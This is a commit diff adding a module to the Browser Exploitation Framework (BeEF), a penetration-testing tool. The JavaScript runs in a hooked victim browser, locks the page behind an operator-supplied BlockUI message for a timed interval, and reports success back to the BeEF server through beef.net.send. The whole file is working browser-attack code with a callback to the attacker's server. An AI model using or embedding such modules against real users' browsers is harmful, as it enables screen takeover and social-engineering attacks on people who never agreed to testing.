Add jQuery BlockUI plugin to hook
This commit is contained in:
19
modules/misc/blockui/command.js
Normal file
19
modules/misc/blockui/command.js
Normal file
@@ -0,0 +1,19 @@
|
||||
//
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
beef.execute(function() {
|
||||
var timeout = '<%= @timeout %>' * 1000;
|
||||
|
||||
var blockui = function() {
|
||||
$j.blockUI({ message: '<%= @message.gsub(/'/, "\\\'") %>' });
|
||||
setTimeout("$j.unblockUI();", <%= @timeout %> * 1000);
|
||||
}
|
||||
|
||||
blockui();
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=command sent');
|
||||
|
||||
});
|
||||
|
||||
Reference in New Issue
Block a user